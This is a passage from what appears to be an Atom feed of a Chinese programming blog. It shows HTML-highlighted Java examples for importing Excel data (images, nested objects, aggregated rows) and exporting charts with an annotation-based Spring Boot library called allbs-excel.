class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/import&quot;)</span></span><br><span class="line"><span class="keyword">public</span> ResponseEntity&lt;?&gt; importWithImages(<span class="meta">@ImportExcel</span> List&lt;ProductImageDTO&gt; products) &#123;</span><br><span class="line"></span><br><span class="line">    Map&lt;String, Object&gt; result = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    result.put(<span class="string">&quot;success&quot;</span>, <span class="literal">true</span>);</span><br><span class="line">    result.put(<span class="string">&quot;message&quot;</span>, <span class="string">&quot;导入成功&quot;</span>);</span><br><span class="line">    result.put(<span class="string">&quot;count&quot;</span>, products.size());</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 处理导入的数据</span></span><br><span class="line">    List&lt;Map&lt;String, Object&gt;&gt; productInfos = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">for</span> (ProductImageDTO product : products) &#123;</span><br><span class="line">       Map&lt;String, Object&gt; info = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">       info.put(<span class="string">&quot;id&quot;</span>, product.getId());</span><br><span class="line">       info.put(<span class="string">&quot;name&quot;</span>, product.getName());</span><br><span class="line">       info.put(<span class="string">&quot;price&quot;</span>, product.getPrice());</span><br><span class="line">       info.put(<span class="string">&quot;stock&quot;</span>, product.getStock());</span><br><span class="line">       info.put(<span class="string">&quot;description&quot;</span>, product.getDescription());</span><br><span class="line"></span><br><span class="line">       <span class="comment">// 图片信息</span></span><br><span class="line">       info.put(<span class="string">&quot;hasMainImage&quot;</span>, product.getMainImage() != <span class="literal">null</span> &amp;&amp; !product.getMainImage().isEmpty());</span><br><span class="line">       info.put(<span class="string">&quot;hasThumbnail&quot;</span>, product.getThumbnail() != <span class="literal">null</span> &amp;&amp; product.getThumbnail().length &gt; <span class="number">0</span>);</span><br><span class="line">       info.put(<span class="string">&quot;imageListCount&quot;</span>,</span><br><span class="line">             product.getImageList() != <span class="literal">null</span> ? product.getImageList().size() : <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">       <span class="comment">// 如果需要，可以在这里保存图片到服务器</span></span><br><span class="line">       <span class="comment">// saveImage(product.getMainImage(), &quot;main_&quot; + product.getId());</span></span><br><span class="line">       <span class="comment">// saveImage(product.getThumbnail(), &quot;thumbnail_&quot; + product.getId());</span></span><br><span class="line"></span><br><span class="line">       productInfos.add(info);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    result.put(<span class="string">&quot;products&quot;</span>, productInfos);</span><br><span class="line"></span><br><span class="line">    log.info(<span class="string">&quot;Imported &#123;&#125; products with images&quot;</span>, products.size());</span><br><span class="line">    <span class="keyword">return</span> ResponseEntity.ok(result);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@NoArgsConstructor</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProductImageDTO</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;商品ID&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;商品名称&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;商品价格&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> BigDecimal price;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 商品主图（单张图片）</span></span><br><span class="line"><span class="comment">     * &lt;p&gt;</span></span><br><span class="line"><span class="comment">     * 导出时：支持 URL、本地路径、Base64</span></span><br><span class="line"><span class="comment">     * 导入时：读取为 Base64 字符串</span></span><br><span class="line"><span class="comment">     * &lt;/p&gt;</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;商品主图&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelImage(width = 120, height = 120)</span></span><br><span class="line">    <span class="keyword">private</span> String mainImage;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 商品缩略图（字节数组）</span></span><br><span class="line"><span class="comment">     * &lt;p&gt;</span></span><br><span class="line"><span class="comment">     * 导出时：直接使用字节数组</span></span><br><span class="line"><span class="comment">     * 导入时：读取为字节数组</span></span><br><span class="line"><span class="comment">     * &lt;/p&gt;</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;商品缩略图&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelImage(width = 80, height = 80, type = ExcelImage.ImageType.BYTES)</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">byte</span>[] thumbnail;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 商品图集（多张图片）</span></span><br><span class="line"><span class="comment">     * &lt;p&gt;</span></span><br><span class="line"><span class="comment">     * 导出时：支持多张图片水平排列</span></span><br><span class="line"><span class="comment">     * 导入时：读取为 Base64 字符串列表</span></span><br><span class="line"><span class="comment">     * &lt;/p&gt;</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;商品图集&quot;, converter = ImageListConverter.class)</span></span><br><span class="line">    <span class="meta">@ExcelImage(width = 100, height = 100)</span></span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; imageList;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;库存数量&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> Integer stock;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;商品描述&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String description;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际导入后，debug可以获取到的内容为:</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/96dd0834509441144723b9c80f5916cc.png" alt="导入图片的内容"></p><p>导出时这三列分别为base64的字符串、图片、图片。导入后获取到的内容为base64的字符串、转为二进制的数据、转为base64的图片。后续可以上传至minio等进行处理。</p><h3 id="嵌套对象导入">嵌套对象导入</h3><p>这个是第二篇嵌套对象字段提取部分的数据导入。<br>对应的视图对象长这样，注意其中的@NestedProperty注解，其中department、department2、department3和department4实际上都只导出了一个字段：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NestedPropertyExampleDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;员工ID&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Long id;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;员工姓名&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String name;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// ==================== 单层嵌套对象 ====================  </span></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;部门名称&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(&quot;name&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Department department;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;部门编码&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;code&quot;, nullValue = &quot;未分配&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Department department2;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// ==================== 多层嵌套对象 ====================  </span></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;直属领导&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;leader.name&quot;, nullValue = &quot;暂无&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Department department3;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;领导电话&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;leader.phone&quot;, nullValue = &quot;-&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Department department4;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// ==================== 集合类型 ====================  </span></span><br><span class="line">    <span class="comment">// 技能列表（内部字段，不导出）  </span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span>  </span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; skills;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;主要技能&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;[0]&quot;, nullValue = &quot;无&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; mainSkill;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;所有技能&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;[*]&quot;, separator = &quot;,&quot;, maxJoinSize = 5)</span>  </span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; allSkills;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// ==================== Map 类型 ====================  </span></span><br><span class="line">    <span class="comment">// 扩展属性（内部字段，不导出）  </span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span>  </span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Object&gt; properties;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;工作城市&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;[city]&quot;, nullValue = &quot;-&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Object&gt; city;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;入职年份&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;[joinYear]&quot;, nullValue = &quot;-&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Object&gt; joinYear;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所以使用该视图对象进行导入时，<strong>数据也会对应的缺少</strong>，如果想完整导入，看后面的示例。<br>这是导入使用的方法，和前面的实际上一样：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/nested-property&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> Map&lt;String, Object&gt; <span class="title function_">nestedPropertyImport</span><span class="params">(<span class="meta">@ImportExcel</span> List&lt;NestedPropertyExampleDTO&gt; data)</span> &#123;  </span><br><span class="line">    Map&lt;String, Object&gt; result = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">    result.put(<span class="string">&quot;success&quot;</span>, <span class="literal">true</span>);  </span><br><span class="line">    result.put(<span class="string">&quot;count&quot;</span>, data.size());  </span><br><span class="line">    result.put(<span class="string">&quot;data&quot;</span>, data);  </span><br><span class="line">    result.put(<span class="string">&quot;message&quot;</span>, <span class="string">&quot;成功导入 &quot;</span> + data.size() + <span class="string">&quot; 条数据&quot;</span>);  </span><br><span class="line">  </span><br><span class="line">    log.info(<span class="string">&quot;Imported &#123;&#125; records&quot;</span>, data.size());  </span><br><span class="line">    <span class="keyword">return</span> result;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/376cc7049eeea827e8ec34d18ead69de.png" alt="导入的数据"></p><h3 id="嵌套对象多行聚合导入">嵌套对象多行聚合导入</h3><p>使用的是之前<strong>明细展开</strong>导出功能，大概可以理解为返回的对象list有5条数据，但是每条数据有子对象list，每个里面2条数据，实际上导出就是10条数据。</p><p>导出的内容示例为(实际接口返回list有5条数据，但是因为部分数据有子数据会自动撑开)：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/e179615d41d4579af1f8a38466c5bea9.png" alt="数据示例"></p><p>那么将这个多行聚合数据导入使用的代码示例为：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/flatten-list-order&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Map&lt;String, Object&gt; <span class="title function_">flattenListOrderImport</span><span class="params">(<span class="meta">@ImportExcel</span> List&lt;FlattenListOrderDTO&gt; data)</span> &#123;</span><br><span class="line">    Map&lt;String, Object&gt; response = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    response.put(<span class="string">&quot;success&quot;</span>, <span class="literal">true</span>);</span><br><span class="line">    response.put(<span class="string">&quot;count&quot;</span>, data.size());</span><br><span class="line">    response.put(<span class="string">&quot;data&quot;</span>, data);</span><br><span class="line">    response.put(<span class="string">&quot;message&quot;</span>, <span class="string">&quot;成功导入 &quot;</span> + data.size() + <span class="string">&quot; 个订单&quot;</span>);</span><br><span class="line"></span><br><span class="line">    log.info(<span class="string">&quot;Imported &#123;&#125; orders&quot;</span>, data.size());</span><br><span class="line">    <span class="keyword">return</span> response;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接收到的数据为：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/cb1f8676631e11f36000ca62888f5f16.png" alt="接收到的数据"></p><p>可以看到实际上也是五条数据，并且嵌套的对象list或者对象也正常将数据加载进去了。</p>]]></content>
    
    
    <summary type="html">spring boot项目excel导出功能封装——4.导入</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="excel" scheme="https://blog.allbs.cn/tags/excel/"/>
    
    <category term="导入导出" scheme="https://blog.allbs.cn/tags/%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA/"/>
    
  </entry>
  
  <entry>
    <title>spring boot项目excel导出功能封装——3.图表导出</title>
    <link href="https://blog.allbs.cn/posts/7b968d43/"/>
    <id>https://blog.allbs.cn/posts/7b968d43/</id>
    <published>2025-11-26T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="说在前面">说在前面</h2><p>封装的easyexcel，基于注解实现excel的导入导出，以场景来说，就是你有一个<strong>现成的分页接口或者一个list接口</strong>，只需要添加几个简单的注解，就可以实现excel的导出，也是为了方便有模板生成代码的情况下直接生成导出功能。</p><p>这是封装的依赖库源码：<a href="https://github.com/chenqi92/allbs-excel">https://github.com/chenqi92/allbs-excel</a></p><p>这是这个依赖库的使用示例：<a href="https://github.com/chenqi92/allbs-excel-test">https://github.com/chenqi92/allbs-excel-test</a></p><p>依赖库运行后在浏览器中打开：<a href="http://localhost:8080/">http://localhost:8080/</a> 即可测试各种示例，参照示例进行使用可以不用看后续的使用说明。</p><p>这篇比较无聊，主要是导出数据时添加额外的<code>chart</code>属性自动生成图表。实际上数据导出后手动也可以指定生成图表，还更灵活。</p><h2 id="使用说明">使用说明</h2><p>添加maven依赖</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-excel<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="折线图">折线图</h3><p>代码示例(视图对象所有都用的同一样，区别只有chat属性设置，所以我后续就不放下面这个<code>ChartDataDTO</code>视图对象了)：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/line&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;折线图-销售趋势&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;Sales Data&quot;),  </span></span><br><span class="line"><span class="meta">    chart = @ExcelChart(  </span></span><br><span class="line"><span class="meta">       title = &quot;Monthly Sales Trend&quot;,  </span></span><br><span class="line"><span class="meta">       enabled = true,  </span></span><br><span class="line"><span class="meta">       type = ExcelChart.ChartType.LINE,  </span></span><br><span class="line"><span class="meta">       xAxisField = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">       yAxisFields = &#123;&quot;Sales&quot;, &quot;Cost&quot;, &quot;Profit&quot;&#125;,  </span></span><br><span class="line"><span class="meta">       startRow = 0,  </span></span><br><span class="line"><span class="meta">       startColumn = 8,  </span></span><br><span class="line"><span class="meta">       endRow = 20,  </span></span><br><span class="line"><span class="meta">       endColumn = 18,  </span></span><br><span class="line"><span class="meta">       xAxisTitle = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">       yAxisTitle = &quot;Amount (USD)&quot;,  </span></span><br><span class="line"><span class="meta">       showLegend = true,  </span></span><br><span class="line"><span class="meta">       legendPosition = ExcelChart.LegendPosition.BOTTOM  </span></span><br><span class="line"><span class="meta">    )  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;ChartDataDTO&gt; <span class="title function_">exportLineChart</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;12&quot;)</span> <span class="type">int</span> months)</span> &#123;  </span><br><span class="line">    log.info(<span class="string">&quot;Exporting line chart with &#123;&#125; months of data&quot;</span>, months);  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateChartData(Math.min(months, <span class="number">12</span>));  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ChartDataDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Month&quot;, index = 0)</span>  </span><br><span class="line">    <span class="keyword">private</span> String month;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Sales&quot;, index = 1)</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal sales;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Cost&quot;, index = 2)</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal cost;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Profit&quot;, index = 3)</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal profit;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Growth Rate (%)&quot;, index = 4)</span>  </span><br><span class="line">    <span class="keyword">private</span> Double growthRate;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Units Sold&quot;, index = 5)</span>  </span><br><span class="line">    <span class="keyword">private</span> Integer unitsSold;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>生成效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/3f75e57ddc1b22ee9401a03e216ebd5f.png" alt=""></p><h3 id="柱状图（纵向）">柱状图（纵向）</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/column&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;柱状图-销售对比&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;Sales Comparison&quot;),  </span></span><br><span class="line"><span class="meta">    chart = @ExcelChart(  </span></span><br><span class="line"><span class="meta">       title = &quot;Monthly Sales vs Cost&quot;,  </span></span><br><span class="line"><span class="meta">       enabled = true,  </span></span><br><span class="line"><span class="meta">       type = ExcelChart.ChartType.COLUMN,  </span></span><br><span class="line"><span class="meta">       xAxisField = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">       yAxisFields = &#123;&quot;Sales&quot;, &quot;Cost&quot;&#125;,  </span></span><br><span class="line"><span class="meta">       startRow = 0,  </span></span><br><span class="line"><span class="meta">       startColumn = 8,  </span></span><br><span class="line"><span class="meta">       endRow = 20,  </span></span><br><span class="line"><span class="meta">       endColumn = 18,  </span></span><br><span class="line"><span class="meta">       xAxisTitle = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">       yAxisTitle = &quot;Amount (USD)&quot;,  </span></span><br><span class="line"><span class="meta">       showLegend = true,  </span></span><br><span class="line"><span class="meta">       legendPosition = ExcelChart.LegendPosition.TOP  </span></span><br><span class="line"><span class="meta">    )  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;ChartDataDTO&gt; <span class="title function_">exportColumnChart</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;12&quot;)</span> <span class="type">int</span> months)</span> &#123;  </span><br><span class="line">    log.info(<span class="string">&quot;Exporting column chart with &#123;&#125; months of data&quot;</span>, months);  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateChartData(Math.min(months, <span class="number">12</span>));  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/5793fc1d9a3eed5d9935537d5d29b372.png" alt=""></p><h3 id="条形图（横向）">条形图（横向）</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/bar&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;条形图-月度利润&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;Monthly Profit&quot;),  </span></span><br><span class="line"><span class="meta">    chart = @ExcelChart(  </span></span><br><span class="line"><span class="meta">       title = &quot;Monthly Profit Analysis&quot;,  </span></span><br><span class="line"><span class="meta">       enabled = true,  </span></span><br><span class="line"><span class="meta">       type = ExcelChart.ChartType.BAR,  </span></span><br><span class="line"><span class="meta">       xAxisField = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">       yAxisFields = &#123;&quot;Profit&quot;&#125;,  </span></span><br><span class="line"><span class="meta">       startRow = 0,  </span></span><br><span class="line"><span class="meta">       startColumn = 8,  </span></span><br><span class="line"><span class="meta">       endRow = 20,  </span></span><br><span class="line"><span class="meta">       endColumn = 18,  </span></span><br><span class="line"><span class="meta">       xAxisTitle = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">       yAxisTitle = &quot;Profit (USD)&quot;,  </span></span><br><span class="line"><span class="meta">       showLegend = true,  </span></span><br><span class="line"><span class="meta">       legendPosition = ExcelChart.LegendPosition.RIGHT  </span></span><br><span class="line"><span class="meta">    )  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;ChartDataDTO&gt; <span class="title function_">exportBarChart</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;12&quot;)</span> <span 